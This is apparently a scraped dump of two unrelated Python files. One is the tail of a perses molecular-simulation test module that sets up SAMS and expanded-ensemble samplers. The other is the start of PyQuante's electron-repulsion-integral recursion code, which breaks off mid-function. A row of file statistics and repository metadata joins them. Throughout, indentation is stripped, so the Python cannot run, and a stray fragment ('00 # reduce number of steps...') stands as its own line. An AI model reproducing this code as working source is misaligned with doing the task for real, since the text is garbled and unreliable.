temperature = 300*unit.kelvin
pressure = 1.0*unit.atmospheres
thermodynamic_states['vacuum'] = states.ThermodynamicState(system=systems['vacuum'], temperature=temperature)
# Create SAMS samplers
from perses.samplers.samplers import ExpandedEnsembleSampler, SAMSSampler
mcmc_samplers = dict()
exen_samplers = dict()
sams_samplers = dict()
for environment in environments:
storage = None
if self.storage:
storage = NetCDFStorageView(self.storage, envname=environment)
chemical_state_key = proposal_engines[environment].compute_state_key(topologies[environment])
if environment == 'explicit':
sampler_state = states.SamplerState(positions=positions[environment], box_vectors=systems[environment].getDefaultPeriodicBoxVectors())
else:
sampler_state = states.SamplerState(positions=positions[environment])
mcmc_samplers[environment] = MCMCSampler(thermodynamic_states[environment], sampler_state, copy.deepcopy(self._move))
00 # reduce number of steps for testing
exen_samplers[environment] = ExpandedEnsembleSampler(mcmc_samplers[environment], topologies[environment], chemical_state_key, proposal_engines[environment], self.geometry_engine, options={'nsteps':0}, storage=storage)
exen_samplers[environment].verbose = True
sams_samplers[environment] = SAMSSampler(exen_samplers[environment], storage=storage)
sams_samplers[environment].verbose = True
# Create test MultiTargetDesign sampler.
from perses.samplers.samplers import MultiTargetDesign
target_samplers = { sams_samplers['vacuum'] : 1.0, sams_samplers['vacuum'] : -1.0 }
designer = MultiTargetDesign(target_samplers, storage=self.storage)
# Store things.
self.molecules = molecules
self.environments = environments
self.topologies = topologies
self.positions = positions
self.system_generators = system_generators
self.proposal_engines = proposal_engines
self.thermodynamic_states = thermodynamic_states
self.mcmc_samplers = mcmc_samplers
self.exen_samplers = exen_samplers
self.sams_samplers = sams_samplers
self.designer = designer
def _canonicalize_smiles(self, list_of_smiles):
"""
Turn a list of smiles strings into openeye canonical
isomeric smiles.
Parameters
----------
list_of_smiles : list of str
input smiles
Returns
-------
list_of_canonicalized_smiles : list of str
canonical isomeric smiles
"""
list_of_canonicalized_smiles = []
ofs = oechem.oemolostream('current.mol2') # DEBUG
for smiles in list_of_smiles:
mol = oechem.OEMol()
oechem.OESmilesToMol(mol, smiles)
oechem.OEAddExplicitHydrogens(mol)
can_smi = oechem.OECreateSmiString(mol, OESMILES_OPTIONS)
list_of_canonicalized_smiles.append(can_smi)
ofs.close() # DEBUG
return list_of_canonicalized_smiles
def check_topologies(testsystem):
"""
Check that all SystemGenerators can build systems for their corresponding Topology objects.
"""
for environment in testsystem.environments:
topology = testsystem.topologies[environment]
try:
testsystem.system_generators[environment].create_system(topology)
except Exception as e:
msg = str(e)
msg += '\n'
msg += "topology for environment '%s' cannot be built into a system" % environment
from perses.utils.smallmolecules import show_topology
show_topology(topology)
raise Exception(msg)
def checktestsystem(testsystem_class):
# Instantiate test system.
tmpfile = tempfile.NamedTemporaryFile()
storage_filename = tmpfile.name
testsystem = testsystem_class(storage_filename=storage_filename)
# Check topologies
check_topologies(testsystem)
def test_testsystems():
"""
Test instantiation of all test systems.
"""
testsystem_names = [ 'KinaseInhibitorsTestSystem', 'T4LysozymeInhibitorsTestSystem','AlkanesTestSystem', 'AlanineDipeptideTestSystem']
niterations = 2 # number of iterations to run
for testsystem_name in testsystem_names:
import perses.tests.testsystems
testsystem_class = getattr(perses.tests.testsystems, testsystem_name)
f = partial(checktestsystem, testsystem_class)
f.description = "Testing %s" % (testsystem_name)
yield f
def run_t4_inhibitors():
"""
Run T4 lysozyme inhibitors in solvents test system.
"""
testsystem = T4LysozymeInhibitorsTestSystem(storage_filename='output.nc', ncmc_nsteps=5000, mcmc_nsteps=100)
for environment in ['explicit', 'vacuum']:
#testsystem.exen_samplers[environment].pdbfile = open('t4-' + component + '.pdb', 'w')
#testsystem.exen_samplers[environment].options={'nsteps':50} # instantaneous MC
testsystem.exen_samplers[environment].verbose = True
testsystem.sams_samplers[environment].verbose = True
testsystem.designer.verbose = True
testsystem.sams_samplers['explicit'].run(niterations=50)
# Analyze data.
#from perses.analysis import Analysis
#analysis = Analysis(storage_filename='output.nc')
#analysis.plot_sams_weights('sams.pdf')
#analysis.plot_ncmc_work('ncmc.pdf')
def run_alkanes():
"""
Run alkanes in solvents test system.
"""
testsystem = AlkanesTestSystem(storage_filename='output.nc', ncmc_nsteps=5000, mcmc_nsteps=100)
for environment in ['explicit', 'vacuum']:
#testsystem.exen_samplers[environment].pdbfile = open('t4-' + component + '.pdb', 'w')
#testsystem.exen_samplers[environment].options={'nsteps':50} # instantaneous MC
testsystem.exen_samplers[environment].verbose = True
testsystem.sams_samplers[environment].verbose = True
testsystem.designer.verbose = True
testsystem.sams_samplers['explicit'].run(niterations=50)
def run_t4():
"""
Run T4 lysozyme test system.
"""
testsystem = T4LysozymeTestSystem(ncmc_nsteps=0)
solvent = 'explicit'
for component in ['complex', 'receptor']:
testsystem.exen_samplers[solvent + '-' + component].pdbfile = open('t4-' + component + '.pdb', 'w')
testsystem.sams_samplers[solvent + '-' + component].run(niterations=5)
testsystem.designer.verbose = True
testsystem.designer.run(niterations=5)
# Analyze data.
#from perses.analysis import Analysis
#analysis = Analysis(storage_filename='output.nc')
#analysis.plot_sams_weights('sams.pdf')
#analysis.plot_ncmc_work('ncmc.pdf')
def run_myb():
"""
Run myb test system.
"""
testsystem = MybTestSystem(ncmc_nsteps=0, mcmc_nsteps=100)
solvent = 'explicit'
testsystem.exen_samplers[solvent + '-peptide'].pdbfile = open('myb-vacuum.pdb', 'w')
testsystem.exen_samplers[solvent + '-complex'].pdbfile = open('myb-complex.pdb', 'w')
testsystem.sams_samplers[solvent + '-complex'].run(niterations=5)
#testsystem.designer.verbose = True
#testsystem.designer.run(niterations=500)
#testsystem.exen_samplers[solvent + '-peptide'].verbose=True
#testsystem.exen_samplers[solvent + '-peptide'].run(niterations=100)
def run_abl_imatinib_resistance():
"""
Run abl test system.
"""
testsystem = AblImatinibResistanceTestSystem(ncmc_nsteps=20000, mcmc_nsteps=20000)
#for environment in testsystem.environments:
for environment in ['vacuum-complex']:
testsystem.exen_samplers[environment].pdbfile = open('abl-imatinib-%s.pdb' % environment, 'w')
testsystem.exen_samplers[environment].geometry_pdbfile = open('abl-imatinib-%s-geometry-proposals.pdb' % environment, 'w')
#testsystem.mcmc_samplers[environment].run(niterations=5)
testsystem.exen_samplers[environment].run(niterations=100)
#testsystem.sams_samplers[environment].run(niterations=5)
#testsystem.designer.verbose = True
#testsystem.designer.run(niterations=500)
#testsystem.exen_samplers[solvent + '-peptide'].verbose=True
#testsystem.exen_samplers[solvent + '-peptide'].run(niterations=100)
def run_kinase_inhibitors():
"""
Run kinase inhibitors test system.
"""
with open("mapperkinase3.json", 'r') as jsoninput:
json_dict = jsoninput.read()
testsystem = KinaseInhibitorsTestSystem(ncmc_nsteps=100, mcmc_nsteps=10, premapped_json_dict=json_dict, constraints=None)
environment = 'vacuum'
testsystem.exen_samplers[environment].pdbfile = open('kinase-inhibitors-vacuum.pdb', 'w')
testsystem.exen_samplers[environment].geometry_pdbfile = open('kinase-inhibitors-%s-geometry-proposals.pdb' % environment, 'w')
testsystem.exen_samplers[environment].geometry_engine.write_proposal_pdb = True # write proposal PDBs
testsystem.exen_samplers[environment].geometry_engine.verbose = True
testsystem.sams_samplers[environment].run(niterations=100)
def run_valence_system():
"""
Run valence molecules test system.
This system only has one environment (vacuum), so SAMS is used.
"""
testsystem = ValenceSmallMoleculeLibraryTestSystem(storage_filename='output.nc', ncmc_nsteps=0, mcmc_nsteps=10)
environment = 'vacuum'
testsystem.exen_samplers[environment].pdbfile = open('valence.pdb', 'w')
testsystem.sams_samplers[environment].run(niterations=50)
def run_alanine_system(sterics=False):
"""
Run alanine dipeptide in vacuum test system.
If `sterics == True`, then sterics will be included.
Otherwise, only valence terms are used.
"""
if sterics:
testsystem = AlanineDipeptideTestSystem(storage_filename='output.nc', ncmc_nsteps=0, mcmc_nsteps=100)
else:
testsystem = AlanineDipeptideValenceTestSystem(storage_filename='output.nc', ncmc_nsteps=0, mcmc_nsteps=100)
environment = 'vacuum'
print(testsystem.__class__.__name__)
testsystem.exen_samplers[environment].pdbfile = open('valence.pdb', 'w')
testsystem.sams_samplers[environment].update_method = 'two-stage'
testsystem.sams_samplers[environment].second_stage_start = 100 # iteration to start second stage
testsystem.sams_samplers[environment].run(niterations=200)
def test_valence_write_pdb_ncmc_switching():
"""
Run abl test system.
"""
testsystem = ValenceSmallMoleculeLibraryTestSystem(ncmc_nsteps=10, mcmc_nsteps=10)
environment = 'vacuum'
testsystem.exen_samplers[environment].run(niterations=1)
def run_abl_affinity_write_pdb_ncmc_switching():
"""
Run abl test system.
"""
testsystem = AblAffinityTestSystem(ncmc_nsteps=10000, mcmc_nsteps=10000)
#for environment in testsystem.environments:
for environment in ['vacuum-complex']:
print(environment)
testsystem.exen_samplers[environment].pdbfile = open('abl-imatinib-%s.pdb' % environment, 'w')
testsystem.exen_samplers[environment].geometry_pdbfile = open('abl-imatinib-%s-geometry-proposals.pdb' % environment, 'w')
testsystem.exen_samplers[environment].verbose = True
testsystem.sams_samplers[environment].verbose = True
#testsystem.mcmc_samplers[environment].run(niterations=5)
testsystem.exen_samplers[environment].run(niterations=5)
#testsystem.sams_samplers[environment].run(niterations=5)
#testsystem.designer.verbose = True
#testsystem.designer.run(niterations=500)
#testsystem.exen_samplers[solvent + '-peptide'].verbose=True
#testsystem.exen_samplers[solvent + '-peptide'].run(niterations=100)
def run_constph_abl():
"""
Run Abl:imatinib constant-pH test system.
"""
testsystem = AblImatinibProtonationStateTestSystem(ncmc_nsteps=50, mcmc_nsteps=2500)
for environment in testsystem.environments:
#for environment in ['explicit-inhibitor', 'explicit-complex']:
#for environment in ['vacuum-inhibitor', 'vacuum-complex']:
if environment not in testsystem.exen_samplers:
print("Skipping '%s' for now..." % environment)
continue
print(environment)
testsystem.exen_samplers[environment].pdbfile = open('abl-imatinib-constph-%s.pdb' % environment, 'w')
testsystem.exen_samplers[environment].geometry_pdbfile = open('abl-imatinib-constph-%s-geometry-proposals.pdb' % environment, 'w')
testsystem.exen_samplers[environment].verbose = True
testsystem.exen_samplers[environment].proposal_engine.verbose = True
testsystem.sams_samplers[environment].verbose = True
#testsystem.mcmc_samplers[environment].run(niterations=5)
#testsystem.exen_samplers[environment].run(niterations=5)
#testsystem.sams_samplers[environment].run(niterations=5)
# Run ligand in solvent constant-pH sampler calibration
testsystem.sams_samplers['explicit-inhibitor'].verbose=True
testsystem.sams_samplers['explicit-inhibitor'].run(niterations=100)
#testsystem.exen_samplers['vacuum-inhibitor'].verbose=True
#testsystem.exen_samplers['vacuum-inhibitor'].run(niterations=100)
#testsystem.exen_samplers['explicit-complex'].verbose=True
#testsystem.exen_samplers['explicit-complex'].run(niterations=100)
# Run constant-pH sampler
testsystem.designer.verbose = True
testsystem.designer.update_target_probabilities() # update log weights from inhibitor in solvent calibration
testsystem.designer.run(niterations=500)
def run_imidazole():
"""
Run imidazole constant-pH test system.
"""
testsystem = ImidazoleProtonationStateTestSystem(storage_filename='output.nc', ncmc_nsteps=500, mcmc_nsteps=1000)
for environment in testsystem.environments:
if environment not in testsystem.exen_samplers:
print("Skipping '%s' for now..." % environment)
continue
print(environment)
#testsystem.exen_samplers[environment].pdbfile = open('imidazole-constph-%s.pdb' % environment, 'w')
#testsystem.exen_samplers[environment].geometry_pdbfile = open('imidazole-constph-%s-geometry-proposals.pdb' % environment, 'w')
testsystem.exen_samplers[environment].verbose = True
testsystem.exen_samplers[environment].proposal_engine.verbose = True
testsystem.sams_samplers[environment].verbose = True
# Run ligand in solvent constant-pH sampler calibration
testsystem.sams_samplers['explicit-imidazole'].verbose=True
testsystem.sams_samplers['explicit-imidazole'].run(niterations=100)
def run_fused_rings():
"""
Run fused rings test system.
Vary number of NCMC steps
"""
#nsteps_to_try = [1, 10, 100, 1000, 10000, 100000] # number of NCMC steps
nsteps_to_try = [10, 100, 1000, 10000, 100000] # number of NCMC steps
for ncmc_steps in nsteps_to_try:
storage_filename = 'output-%d.nc' % ncmc_steps
testsystem = FusedRingsTestSystem(storage_filename=storage_filename, ncmc_nsteps=nsteps_to_try, mcmc_nsteps=100)
for environment in ['explicit', 'vacuum']:
testsystem.exen_samplers[environment].ncmc_engine.verbose = True # verbose output of work
testsystem.sams_samplers[environment].verbose = True
testsystem.designer.verbose = True
testsystem.designer.run(niterations=100)
# Analyze data.
from perses.analysis import Analysis
analysis = Analysis(storage_filename=storage_filename)
#analysis.plot_sams_weights('sams.pdf')
analysis.plot_ncmc_work('ncmc-%d.pdf' % ncmc_steps)
if __name__ == '__main__':
#testsystem = PropaneTestSystem(scheme='geometry-ncmc-geometry', options = {'nsteps':10})
#run_null_system(testsystem)
#run_alanine_system(sterics=False)
#run_fused_rings()
#run_valence_system()
run_alkanes()
#run_imidazole()
#run_constph_abl()
#run_abl_affinity_write_pdb_ncmc_switching()
#run_kinase_inhibitors()
#run_abl_imatinib()
#run_myb()
| 50.002537 | 289 | 0.679018 | 11,367 | 118,256 | 6.912642 | 0.06211 | 0.029729 | 0.017563 | 0.011836 | 0.827276 | 0.80592 | 0.790801 | 0.785303 | 0.778367 | 0.766824 | 0 | 0.006406 | 0.234348 | 118,256 | 2,364 | 290 | 50.023689 | 0.861425 | 0.275639 | 0 | 0.728104 | 0 | 0.001523 | 0.066872 | 0.011954 | 0 | 0 | 0 | 0.003807 | 0 | 1 | 0.027418 | false | 0.000762 | 0.073877 | 0 | 0.116527 | 0.025895 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
450553e9c8746005cb368f008af5a4aab98eb151 | 34,291 | py | Python | PyQuante/hgp.py | berquist/PyQuante | 1cb800c6889d23fd1ad4653ac6c1d5618bc79af5 | [
"DOC"
] | 1 | 2021-06-09T02:30:23.000Z | 2021-06-09T02:30:23.000Z | PyQuante/hgp.py | berquist/PyQuante | 1cb800c6889d23fd1ad4653ac6c1d5618bc79af5 | [
"DOC"
] | 1 | 2019-02-03T10:44:02.000Z | 2019-02-03T10:44:02.000Z | PyQuante/hgp.py | berquist/PyQuante | 1cb800c6889d23fd1ad4653ac6c1d5618bc79af5 | [
"DOC"
] | 1 | 2017-09-11T19:20:11.000Z | 2017-09-11T19:20:11.000Z | """\
Implementation of Head-Gordon & Pople's scheme for electron repulsion
integrals (ref), which, in turn, derives from Saika and Obarra's scheme.
Routines:
hrr performs the horizontal recursion relationships
vrr performs the vertical recursion relationship
The routines in the accompanying chgp module have the same functions, but
are written in C to be faster.
This program is part of the PyQuante quantum chemistry program suite.
Copyright (c) 2004, Richard P. Muller. All Rights Reserved.
PyQuante version 1.2 and later is covered by the modified BSD
license. Please see the file LICENSE that is part of this
distribution.
"""
from math import sqrt,pi,exp
#from PyQuante.cints import Fgamma
from pyints import gaussian_product_center,Fgamma
#from PyQuante.cints import vrr
def contr_hrr((xa,ya,za),norma,(la,ma,na),aexps,acoefs,
(xb,yb,zb),normb,(lb,mb,nb),bexps,bcoefs,
(xc,yc,zc),normc,(lc,mc,nc),cexps,ccoefs,
(xd,yd,zd),normd,(ld,md,nd),dexps,dcoefs):
if lb > 0:
return (contr_hrr((xa,ya,za),norma,(la+1,ma,na),aexps,acoefs,
(xb,yb,zb),normb,(lb-1,mb,nb),bexps,bcoefs,
(xc,yc,zc),normc,(lc,mc,nc),cexps,ccoefs,
(xd,yd,zd),normd,(ld,md,nd),dexps,dcoefs)
+ (xa-xb)*contr_hrr((xa,ya,za),norma,(la,ma,na),aexps,acoefs,
(xb,yb,zb),normb,(lb-1,mb,nb),bexps,bcoefs,
(xc,yc,zc),normc,(lc,mc,nc),cexps,ccoefs,
(xd,yd,zd),normd,(ld,md,nd),dexps,dcoefs)
)
elif mb > 0:
return (contr_hrr((xa,ya,za),norma,(la,ma+1,na),aexps,acoefs,
(xb,yb,zb),normb,(lb,mb-1,nb),bexps,bcoefs,
(xc,yc,zc),normc,(lc,mc,nc),cexps,ccoefs,
(xd,yd,zd),normd,(ld,md,nd),dexps,dcoefs)
+ (ya-yb)*contr_hrr((xa,ya,za),norma,(la,ma,na),aexps,acoefs,
(xb,yb,zb),normb,(lb,mb-1,nb),bexps,bcoefs,
(xc,yc,zc),normc,(lc,mc,nc),cexps,ccoefs,
(xd,yd,zd),normd,(ld,md,nd),dexps,dcoefs)
)
elif nb > 0:
return (contr_hrr((xa,ya,za),norma,(la,ma,na+1),aexps,acoefs,
(xb,yb,zb),normb,(lb,mb,nb-1),bexps,bcoefs,
(xc,yc,zc),normc,(lc,mc,nc),cexps,ccoefs,
(xd,yd,zd),normd,(ld,md,nd),dexps,dcoefs)
+ (za-zb)*contr_hrr((xa,ya,za),norma,(la,ma,na),aexps,acoefs,
(xb,yb,zb),normb,(lb,mb,nb-1),bexps,bcoefs,
(xc,yc,zc),normc,(lc,mc,nc),cexps,ccoefs,
(xd,yd,zd),normd,(ld,md,nd),dexps,dcoefs)
)
elif ld > 0:
return (contr_hrr((xa,ya,za),norma,(la,ma,na),aexps,acoefs,
(xb,yb,zb),normb,(lb,mb,nb),bexps,bcoefs,
(xc,yc,zc),normc,(lc+1,mc,nc),cexps,ccoefs,
(xd,yd,zd),normd,(ld-1,md,nd),dexps,dcoefs)
+ (xc-xd)*contr_hrr((xa,ya,za),norma,(la,ma,na),aexps,acoefs,
(xb,yb,zb),normb,(lb,mb,nb),bexps,bcoefs,
(xc,yc,zc),normc,(lc,mc,nc),cexps,ccoefs,
(xd,yd,zd),normd,(ld-1,md,nd),dexps,dcoefs)
)
elif md > 0:
return (contr_hrr((xa,ya,za),norma,(la,ma,na),aexps,acoefs,
(xb,yb,zb),normb,(lb,mb,nb),bexps,bcoefs,
(xc,yc,zc),normc,(lc,mc+1,nc),cexps,ccoefs,
(xd,yd,zd),normd,(ld,md-1,nd),dexps,dcoefs)
+ (yc-yd)*contr_hrr((xa,ya,za),norma,(la,ma,na),aexps,acoefs,
(xb,yb,zb),normb,(lb,mb,nb),bexps,bcoefs,
(xc,yc,zc),normc,(lc,mc,nc),cexps,ccoefs,
(xd,yd,zd),normd,(ld,md-1,nd),dexps,dcoefs)
)
elif nd > 0:
return (contr_hrr((xa,ya,za),norma,(la,ma,na),aexps,acoefs,
(xb,yb,zb),normb,(lb,mb,nb),bexps,bcoefs,
(xc,yc,zc),normc,(lc,mc,nc+1),cexps,ccoefs,
(xd,yd,zd),normd,(ld,md,nd-1),dexps,dcoefs)
+ (zc-zd)*contr_hrr((xa,ya,za),norma,(la,ma,na),aexps,acoefs,
(xb,yb,zb),normb,(lb,mb,nb),bexps,bcoefs,
(xc,yc,zc),normc,(lc,mc,nc),cexps,ccoefs,
(xd,yd,zd),normd,(ld,md,nd-1),dexps,dcoefs)
)
return contr_vrr((xa,ya,za),norma,(la,ma,na),aexps,acoefs,
(xb,yb,zb),normb,bexps,bcoefs,
(xc,yc,zc),normc,(lc,mc,nc),cexps,ccoefs,
(xd,yd,zd),normd,dexps,dcoefs)
def contr_hrr_iter((xa,ya,za),norma,(la,ma,na),aexps,acoefs,
(xb,yb,zb),normb,(lb,mb,nb),bexps,bcoefs,
(xc,yc,zc),normc,(lc,mc,nc),cexps,ccoefs,
(xd,yd,zd),normd,(ld,md,nd),dexps,dcoefs):
# Non-recursive version, which I implemented in the false hope
# that it would reduce the number of calls to vrr. Kept as a
# valuable lesson.
# Precompute all of the required (i0|j0) terms:
# this is a dictionary pretending to be a 12-d array, which is
# not the prettiest data structure in the world, and will probably
# be a challenge when I convert to C.
hrr_terms = {}
for i in xrange(la+lb+1):
for j in xrange(ma+mb+1):
for k in xrange(na+nb+1):
for l in xrange(lc+ld+1):
for m in xrange(mc+md+1):
for n in xrange(nc+nd+1):
hrr_terms[i,j,k,0,0,0,l,m,n,0,0,0] = (
contr_vrr((xa,ya,za),norma,(i,j,k),aexps,acoefs,
(xb,yb,zb),normb,bexps,bcoefs,
(xc,yc,zc),normc,(l,m,n),cexps,ccoefs,
(xd,yd,zd),normd,dexps,dcoefs)
)
# At this point we have all of the integrals (i0|j0).
# We now need to use the hrrs to build up all (ab|cd).
for i in xrange(1,lb+1):
for j in xrange(ma+mb+1):
for k in xrange(na+nb+1):
for l in xrange(lc+ld+1):
for m in xrange(mc+md+1):
for n in xrange(nc+nd+1):
hrr_terms[la+lb-i,j,k,i,0,0,l,m,n,0,0,0] = (
hrr_terms[la+lb-i+1,j,k,i-1,0,0,l,m,n,0,0,0]
+ (xa-xb)*
hrr_terms[la+lb-i,j,k,i-1,0,0,l,m,n,0,0,0]
)
for i in xrange(1,mb+1):
for j in xrange(na+nb+1):
for k in xrange(lc+ld+1):
for l in xrange(mc+md+1):
for m in xrange(nc+nd+1):
hrr_terms[la,ma+mb-i,j,lb,i,0,k,l,m,0,0,0] = (
hrr_terms[la,ma+mb-i+1,j,lb,i-1,0,k,l,m,0,0,0]
+ (ya-yb)*
hrr_terms[la,ma+mb-i,j,lb,i-1,0,k,l,m,0,0,0]
)
for i in xrange(1,nb+1):
for j in xrange(lc+ld+1):
for k in xrange(mc+md+1):
for l in xrange(nc+nd+1):
hrr_terms[la,ma,na+nb-i,lb,mb,i,j,k,l,0,0,0] = (
hrr_terms[la,ma,na+nb-i+1,lb,mb,i-1,j,k,l,0,0,0]
+ (za-zb)*
hrr_terms[la,ma,na+nb-i,lb,mb,i-1,j,k,l,0,0,0]
)
for i in xrange(1,ld+1):
for j in xrange(mc+md+1):
for k in xrange(nc+nd+1):
hrr_terms[la,ma,na,lb,mb,nb,lc+ld-i,j,k,i,0,0] = (
hrr_terms[la,ma,na,lb,mb,nb,lc+ld-i+1,j,k,i-1,0,0]
+ (xc-xd)*
hrr_terms[la,ma,na,lb,mb,nb,lc+ld-i,j,k,i-1,0,0]
)
for i in xrange(1,md+1):
for j in xrange(nc+nd+1):
hrr_terms[la,ma,na,lb,mb,nb,lc,mc+md-i,j,ld,i,0] = (
hrr_terms[la,ma,na,lb,mb,nb,lc,mc+md-i+1,j,ld,i-1,0]
+ (yc-yd)*
hrr_terms[la,ma,na,lb,mb,nb,lc,mc+md-i,j,ld,i-1,0]
)
for i in xrange(1,nd+1):
hrr_terms[la,ma,na,lb,mb,nb,lc,mc,nc+nd-i,ld,md,i] = (
hrr_terms[la,ma,na,lb,mb,nb,lc,mc,nc+nd-i+1,ld,md,i-1]
+ (zc-zd)*
hrr_terms[la,ma,na,lb,mb,nb,lc,mc,nc+nd-i,ld,md,i-1]
)
# Done; return the relevant value:
return hrr_terms[la,ma,na,lb,mb,nb,lc,mc,nc,ld,md,nd]
def contr_vrr((xa,ya,za),norma,(la,ma,na),aexps,acoefs,
(xb,yb,zb),normb,bexps,bcoefs,
(xc,yc,zc),normc,(lc,mc,nc),cexps,ccoefs,
(xd,yd,zd),normd,dexps,dcoefs):
val = 0.
for i in xrange(len(aexps)):
for j in xrange(len(bexps)):
for k in xrange(len(cexps)):
for l in xrange(len(dexps)):
val = val + acoefs[i]*bcoefs[j]*ccoefs[k]*dcoefs[l]\
*vrr((xa,ya,za),norma[i],(la,ma,na),aexps[i],
(xb,yb,zb),normb[j],bexps[j],
(xc,yc,zc),normc[k],(lc,mc,nc),cexps[k],
(xd,yd,zd),normd[l],dexps[l],0)
return val
def hrr((xa,ya,za),norma,(la,ma,na),alphaa,
(xb,yb,zb),normb,(lb,mb,nb),alphab,
(xc,yc,zc),normc,(lc,mc,nc),alphac,
(xd,yd,zd),normd,(ld,md,nd),alphad):
if lb > 0:
return (hrr((xa,ya,za),norma,(la+1,ma,na),alphaa,
(xb,yb,zb),normb,(lb-1,mb,nb),alphab,
(xc,yc,zc),normc,(lc,mc,nc),alphac,
(xd,yd,zd),normd,(ld,md,nd),alphad)
+ (xa-xb)*hrr((xa,ya,za),norma,(la,ma,na),alphaa,
(xb,yb,zb),normb,(lb-1,mb,nb),alphab,
(xc,yc,zc),normc,(lc,mc,nc),alphac,
(xd,yd,zd),normd,(ld,md,nd),alphad)
)
elif mb > 0:
return (hrr((xa,ya,za),norma,(la,ma+1,na),alphaa,
(xb,yb,zb),normb,(lb,mb-1,nb),alphab,
(xc,yc,zc),normc,(lc,mc,nc),alphac,
(xd,yd,zd),normd,(ld,md,nd),alphad)
+ (ya-yb)*hrr((xa,ya,za),norma,(la,ma,na),alphaa,
(xb,yb,zb),normb,(lb,mb-1,nb),alphab,
(xc,yc,zc),normc,(lc,mc,nc),alphac,
(xd,yd,zd),normd,(ld,md,nd),alphad)
)
elif nb > 0:
return (hrr((xa,ya,za),norma,(la,ma,na+1),alphaa,
(xb,yb,zb),normb,(lb,mb,nb-1),alphab,
(xc,yc,zc),normc,(lc,mc,nc),alphac,
(xd,yd,zd),normd,(ld,md,nd),alphad)
+ (za-zb)*hrr((xa,ya,za),norma,(la,ma,na),alphaa,
(xb,yb,zb),normb,(lb,mb,nb-1),alphab,
(xc,yc,zc),normc,(lc,mc,nc),alphac,
(xd,yd,zd),normd,(ld,md,nd),alphad)
)
elif ld > 0:
return (hrr((xa,ya,za),norma,(la,ma,na),alphaa,
(xb,yb,zb),normb,(lb,mb,nb),alphab,
(xc,yc,zc),normc,(lc+1,mc,nc),alphac,
(xd,yd,zd),normd,(ld-1,md,nd),alphad)
+ (xc-xd)*hrr((xa,ya,za),norma,(la,ma,na),alphaa,
(xb,yb,zb),normb,(lb,mb,nb),alphab,
(xc,yc,zc),normc,(lc,mc,nc),alphac,
(xd,yd,zd),normd,(ld-1,md,nd),alphad)
)
elif md > 0:
return (hrr((xa,ya,za),norma,(la,ma,na),alphaa,
(xb,yb,zb),normb,(lb,mb,nb),alphab,
(xc,yc,zc),normc,(lc,mc+1,nc),alphac,
(xd,yd,zd),normd,(ld,md-1,nd),alphad)
+ (yc-yd)*hrr((xa,ya,za),norma,(la,ma,na),alphaa,
(xb,yb,zb),normb,(lb,mb,nb),alphab,
(xc,yc,zc),normc,(lc,mc,nc),alphac,
(xd,yd,zd),normd,(ld,md-1,nd),alphad)
)
elif nd > 0:
return (hrr((xa,ya,za),norma,(la,ma,na),alphaa,
(xb,yb,zb),normb,(lb,mb,nb),alphab,
(xc,yc,zc),normc,(lc,mc,nc+1),alphac,
(xd,yd,zd),normd,(ld,md,nd-1),alphad)
+ (zc-zd)*hrr((xa,ya,za),norma,(la,ma,na),alphaa,
(xb,yb,zb),normb,(lb,mb,nb),alphab,
(xc,yc,zc),normc,(lc,mc,nc),alphac,
(xd,yd,zd),normd,(ld,md,nd-1),alphad)
)
return vrr((xa,ya,za),norma,(la,ma,na),alphaa,
(xb,yb,zb),normb,alphab,
(xc,yc,zc),normc,(lc,mc,nc),alphac,
(xd,yd,zd),normd,alphad,0)
def vrr_recursive((xa,ya,za),norma,(la,ma,na),alphaa,
(xb,yb,zb),normb,alphab,
(xc,yc,zc),normc,(lc,mc,nc),alphac,
(xd,yd,zd),normd,alphad,m):
"Old VRR code, which is called recursively"
px,py,pz = gaussian_product_center(alphaa,(xa,ya,za),alphab,(xb,yb,zb))
qx,qy,qz = gaussian_product_center(alphac,(xc,yc,zc),alphad,(xd,yd,zd))
zeta,eta = alphaa+alphab,alphac+alphad
wx,wy,wz = gaussian_product_center(zeta,(px,py,pz),eta,(qx,qy,qz))
if nc:
val = (qz-zc)*vrr((xa,ya,za),norma,(la,ma,na),alphaa,
(xb,yb,zb),normb,alphab,
(xc,yc,zc),normc,(lc,mc,nc-1),alphac,
(xd,yd,zd),normd,alphad,m) \
+ (wz-qz)*vrr((xa,ya,za),norma,(la,ma,na),alphaa,
(xb,yb,zb),normb,alphab,
(xc,yc,zc),normc,(lc,mc,nc-1),alphac,
(xd,yd,zd),normd,alphad,m+1)
if nc > 1:
val = val +\
0.5*(nc-1)/eta*(vrr((xa,ya,za),norma,(la,ma,na),alphaa,
(xb,yb,zb),normb,alphab,
(xc,yc,zc),normc,(lc,mc,nc-2),alphac,
(xd,yd,zd),normd,alphad,m)
-zeta/(zeta+eta)*
vrr((xa,ya,za),norma,(la,ma,na),alphaa,
(xb,yb,zb),normb,alphab,
(xc,yc,zc),normc,(lc,mc,nc-2),alphac,
(xd,yd,zd),normd,alphad,m+1) )
if na:
val = val +\
0.5*na/(zeta+eta)*vrr((xa,ya,za),norma,(la,ma,na-1),alphaa,
(xb,yb,zb),normb,alphab,
(xc,yc,zc),normc,(lc,mc,nc-1),alphac,
(xd,yd,zd),normd,alphad,m+1)
return val
elif mc:
val = (qy-yc)*vrr((xa,ya,za),norma,(la,ma,na),alphaa,
(xb,yb,zb),normb,alphab,
(xc,yc,zc),normc,(lc,mc-1,nc),alphac,
(xd,yd,zd),normd,alphad,m) \
+ (wy-qy)*vrr((xa,ya,za),norma,(la,ma,na),alphaa,
(xb,yb,zb),normb,alphab,
(xc,yc,zc),normc,(lc,mc-1,nc),alphac,
(xd,yd,zd),normd,alphad,m+1)
if mc > 1:
val = val +\
0.5*(mc-1)/eta*(vrr((xa,ya,za),norma,(la,ma,na),alphaa,
(xb,yb,zb),normb,alphab,
(xc,yc,zc),normc,(lc,mc-2,nc),alphac,
(xd,yd,zd),normd,alphad,m)
-zeta/(zeta+eta)*
vrr((xa,ya,za),norma,(la,ma,na),alphaa,
(xb,yb,zb),normb,alphab,
(xc,yc,zc),normc,(lc,mc-2,nc),alphac,
(xd,yd,zd),normd,alphad,m+1) )
if ma:
val = val +\
0.5*ma/(zeta+eta)*vrr((xa,ya,za),norma,(la,ma-1,na),alphaa,
(xb,yb,zb),normb,alphab,
(xc,yc,zc),normc,(lc,mc-1,nc),alphac,
(xd,yd,zd),normd,alphad,m+1)
return val
elif lc:
val = (qx-xc)*vrr((xa,ya,za),norma,(la,ma,na),alphaa,
